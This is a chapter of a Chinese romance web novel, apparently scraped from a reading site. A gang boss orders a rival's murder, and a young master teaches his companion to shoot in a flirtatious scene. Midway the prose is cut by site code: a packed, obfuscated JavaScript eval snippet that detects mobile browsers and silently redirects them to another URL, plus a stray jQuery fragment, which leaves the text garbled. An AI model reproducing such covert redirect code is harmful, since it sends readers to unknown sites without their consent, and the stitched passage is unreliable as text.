15. 学不学?

作品:《什么?不是民国!

    卢勇一回到自己的院子,便猛地踹开房门,震得窗棂嗡嗡作响。


    他扯下染血的绷带狠狠摔在地上,晦气地吐了口唾沫。


    “三爷。”心腹阿枫悄无声息地跟进来,反手锁上门闩。


    他熟练地取出铜盆,倒上滚烫的药汤,“青龙帮那边递了话过来,说……”


    “闭嘴!”


    卢勇将伤臂浸入药汤,剧痛让他额头暴起青筋。


    他盯着水中扭曲的倒影,突然一拳砸向水面,“周砚身边那个兔崽子,查清楚没有?”


    阿枫连忙递上棉巾,低声道:“那小子叫齐小川,是少爷剿匪那日捡回来的。”


    他从怀中掏出几张皱巴巴的纸,“进府没几天就搞垮了周记,现在坐上了二管家的位置。”


    “周记是他的手笔?”


    卢勇猛地攥紧棉巾,白白净净的倒是看不出来这么有本事。


    阿枫凑近半步:“三爷,周记可是二爷养了十年的钱袋子,就这么没了,二爷不使些手段?”


    要动齐小川那小子,哪轮得到他们出手?


    “你懂什么!”卢勇突然呵斥道。


    “就周行裴那货,只知道躺女人窝里的废物,真要对上周砚,他怂得很。”


    “外界对周二恭敬有加,你真以为是他有那么大的本事?”


    “哪一个不是看在周砚的面子上才给他的尊敬。”


    “但周砚这人,再疯,也不会动自家人,至少现在不会!”


    “那我们现在怎么办。”阿枫问道。


    他们现在可是已经叛出了周家,这事,迟早是瞒不住的。


    得趁早做打算才行。


    卢勇哪不明白这个道理,但现在还不是和周砚撕破脸皮的时候。


    他声音压得极低,却像淬了毒的刀,“那个齐小川绝对有问题!”


    “怎么处理?”阿枫低声问道。


    忽然,他像是想起了什么,低声道:“三爷,我见少爷似乎待他格外不同。”


    卢勇看了过去。


    “昨夜突围时,我亲眼看见……”他做了个环抱的动作,“那小子直接扑进少爷怀里。”


    卢勇瞳孔骤缩。


    难不成,齐小川是周砚放出的烟雾弹?


    那人表面看似另有幕后之人,实则从明到暗皆是周砚布下的棋子。


    齐小川其实就是周砚的人!


    卢勇激动得指尖微颤,这股猛然抓住真相脉络的亢奋感自脊椎直冲后脑,他觉得他窥探到了真相。


    肯定是这样的!


    那个看似无害的小白脸,绝对是周砚藏在袖中的暗箭。


    二十年的刀头舔血让他嗅到危险。


    “找几个生面孔。”卢勇从牙缝里挤出命令,“等那小子落单……”他做了个抹脖子的动作。


    这小白脸屡次坏他好事,本就想找机会除了。


    倘若他真是周砚的人,那更好!


    另一边,齐小川从周砚屋里出来后便靠着门柱打起了哈欠。


    他第无数次掐自己大腿,可眼皮还是像灌了铅似的往下坠。


    昨夜救火时吸入的烟尘此刻化作困倦的浪潮,一波波冲刷着他的神志。


    “汪!”


    院里的阿黄冲他叫了一声,狗眼里满是鄙夷。


    这只大黄狗是周砚养的,此刻正精神抖擞地巡视庭院,尾巴甩得像面小旗。


    “看什么看,和你主人一个样,狗仗人势!”齐小川冲阿黄龇牙。


    阿黄朝他露出獠牙,齐小川一个激灵站直,后脑勺“咚”地撞上门框。


    他揉着脑袋不敢吱声。


    为何沦落到被一条大黄狗所欺?


    还不是它主人是个狠角色!


    齐小川决定好男不跟狗斗,“不行,太困了……”


    鼻子一酸,他寻了个舒服位置,打起了盹。


    院子里偶尔路过家仆,见齐小川蜷缩在门柱旁,睡得人事不省,都投去诧异的目光。


    这齐公子困成这样还要守在少爷屋外不去休息,这得多担心少爷啊!


    齐小川......


    我的真的谢谢~


    齐小川是被颈椎的刺痛惊醒的。


    他迷迷糊糊睁开眼,夕阳的余晖斜斜地刺进瞳孔,恍惚间看见远处黑洞洞的枪口正对着自己的眉心。


    “少、少爷?!”他一个激灵蹦起来,后脑勺“咚”地又撞上门框。


    这下彻底清醒了。


    不就是不小心睡着了,不至于吧~


    此刻,周砚站在十步开外,修长的手指扣在扳机上,乌黑的枪管在落日下泛着冷光。


    “睡好了?”他的声音带着戏谑,手腕稳得像块磐石。


    准星随着齐小川颤抖的睫毛微微调整,仿佛下一秒就要击穿他的头颅。


    齐小川喉结滚动,冷汗顺着脊背往下淌。


    他想起昨晚那个“烟雾弹”,想起自己朝周砚投炸弹,想起昨夜火场里差点炸了周砚……


    越想越觉得这枪口合情合理。


    “少爷我错了!”他闭眼大喊,“我以后绝对不会……绝对不会……”


    周砚就静静地等他想借口,举枪的手纹丝不动。


    “绝对不会那么生猛了。”齐小川喊道。


    “口水先擦擦。”周砚突然说。


    “啊?”他睡觉什么时候流过口水?


    齐小川抬手去抹嘴,干燥的唇瓣蹭得生疼。


    这才反应过来又被耍了,气得耳朵尖通红。


    “您能不能别老拿枪指人……”他小声嘟囔,活像只炸毛的猫。


    小心枪走火。


    周砚眼底掠过一丝笑意。


    他发现自己是越来越爱看着齐小川惊惶失措的模样了,总忍不住想去逗人。


    那瞪圆的杏眼,发抖的唇珠,还有想逃又不敢挪脚的样子,比戏园子里唱的滑稽戏还有趣。


    “过来。”看够了,周砚终于收起枪,勾了勾手指。


    齐小川非但没上前,反而往门框后缩了缩,活像那雕花木头能挡子弹似的。


    “干、干嘛?”


    他声音发颤,却在瞥见周砚挽起的袖口时莫名咽了咽口水。


    那截露出的手腕线条凌厉得让人心跳加速。


    周砚挑了挑眉。


    这人又看上他什么东西了?


    齐小川不语,夕阳给周砚的轮廓镀了层金边。


    靛青色的立领衬衫领口处微敞,锁骨若隐若现。


    周砚转动着手中的枪,金属光泽晃过齐小川的眼睛。


    人和枪都透着森然寒意。


    上次,敢这么打量他的人,早已被他剜了眼珠子了。


    “教你用枪。”他说。


    这句话被他说得又轻又缓,尾音像羽毛扫过耳膜,齐小川顿时觉得后颈发烫。


    周砚满意地看到对方瞳孔收缩。


    “真……真的?”青年眼睛倏地亮了,方才的恐惧瞬间被这突如其来的好事取代。


    他跑过来时像只试探的幼犬,既想亲近又怕挨揍。


    周砚忽然想起阿黄讨肉骨头的神情。


    嗯,不能说相同,简直是一模一样。


    他心情莫名其妙地好了一半,“学不学?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825456|175504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “学学学。”


    齐小川点头如捣蒜,完全没意识到自己正模仿着阿黄摇尾巴的姿态。


    哪个男人不喜欢枪!


    他眼巴巴望着周砚掌心的勃朗宁,浑然不觉两人距离近得能听见彼此心跳。


    周砚眸色微暗。


    这人身上还带着阳光烘暖的味道,睫毛在脸颊投下细碎的阴影。


    他忽然想起今早那个拥抱——


    一种陌生又温暖的感觉萦绕在心房,很奇特。


    “握枪要像握情人的手。”


    周砚突然将枪塞进齐小川掌心,从背后环住他调整姿势,“用力会伤着她,太松又会跑。”


    随即,温热的掌心轻贴上对方腰际,透过薄薄的衣料,他能清晰地感受到那人紧绷的腰线,像张拉满的弓。


    “少、少爷!”


    齐小川呼吸都乱了,耳根也烧得通红。


    周砚独有的檀香味将他裹得密不透风,坚硬的胸膛紧贴着他的后背,呼吸喷在耳畔,激得他手指发颤,差点把枪摔了。


    “专心。”周砚扣住他的手腕,声音陡然冷了下来。


    “握枪要像这样。”刚放好的手再次动起来。


    周砚右手包住他握枪的手指,左手再次不着痕迹地扶住他的腰,指尖在腰窝处若有似无地摩挲。


    “砰!”


    子弹破空而出的瞬间,齐小川后仰着撞进他怀里,后背能清晰地感受到对方加速的心跳。


    远处树梢的麻雀应声而落,子弹穿透树叶的簌簌声让齐小川浑身僵硬。


    原来刚才不是开玩笑,是真要教他杀人技。


    “呼吸。”周砚捏了捏他绷紧的肩膀,“除非你想让后坐力震碎锁骨。”


    他的教学严厉得像在训练死士,可指尖拂过齐小川手背的薄茧时,又带着难以察觉的温柔。


    齐小川渐渐放松下来。


    他发现自己居然能跟上这个阎王的节奏。


    当周砚说“风向”时,他的身体会随着调整角度;


    当周砚数“三、二、一”时,他的心跳会诡异地同步。


    “砰!”


    二十步外的瓷瓶应声而碎。


    齐小川呆住了,他不敢相信这是自己射出的子弹。


    真的打中了!


    “还不算太笨。”周砚难得地说了句好话。


    他的下巴无意识蹭过他发顶,等反应过来时,两人已经维持这个姿势太久。


    齐小川慌忙退开半步,微微拉开了二人之间的距离。


    要命,教学什么的,简直太犯规了,齐小川暗道。


    周砚轻哼一声,却在他看不见的角度勾起唇角。


    阿黄不知何时蹲在了廊下,歪着头看着它的主人罕见地手足无措。


    它突然“汪”了一声,惊得齐小川手一抖,手中的枪差点打出第三枪。


    没危机时,齐小川估计就是最大的危机了!


    周砚心中暗忖,轻咳一声去拿枪。


    阿黄又汪了一声,勃朗宁“啪嗒”掉在青石板上。


    齐小川:……


    完蛋,周砚接下来该不会给他来个过肩摔,然后再拿自己擦枪吧!!


    “狗都比你稳重。”


    周砚没给他来个过肩摔,只是弯腰去捡枪。


    那一瞬,正好对上齐小川俯身时慌乱的眼睛。


    近在咫尺的呼吸交错,那人浅色的瞳孔里映着晚霞,也映着他自己。


    那眼神让他心头一跳。


    周砚若有所思地将枪捡起,指腹摩挲着枪管。


    胸口处,有什么情愫在悄然滋长。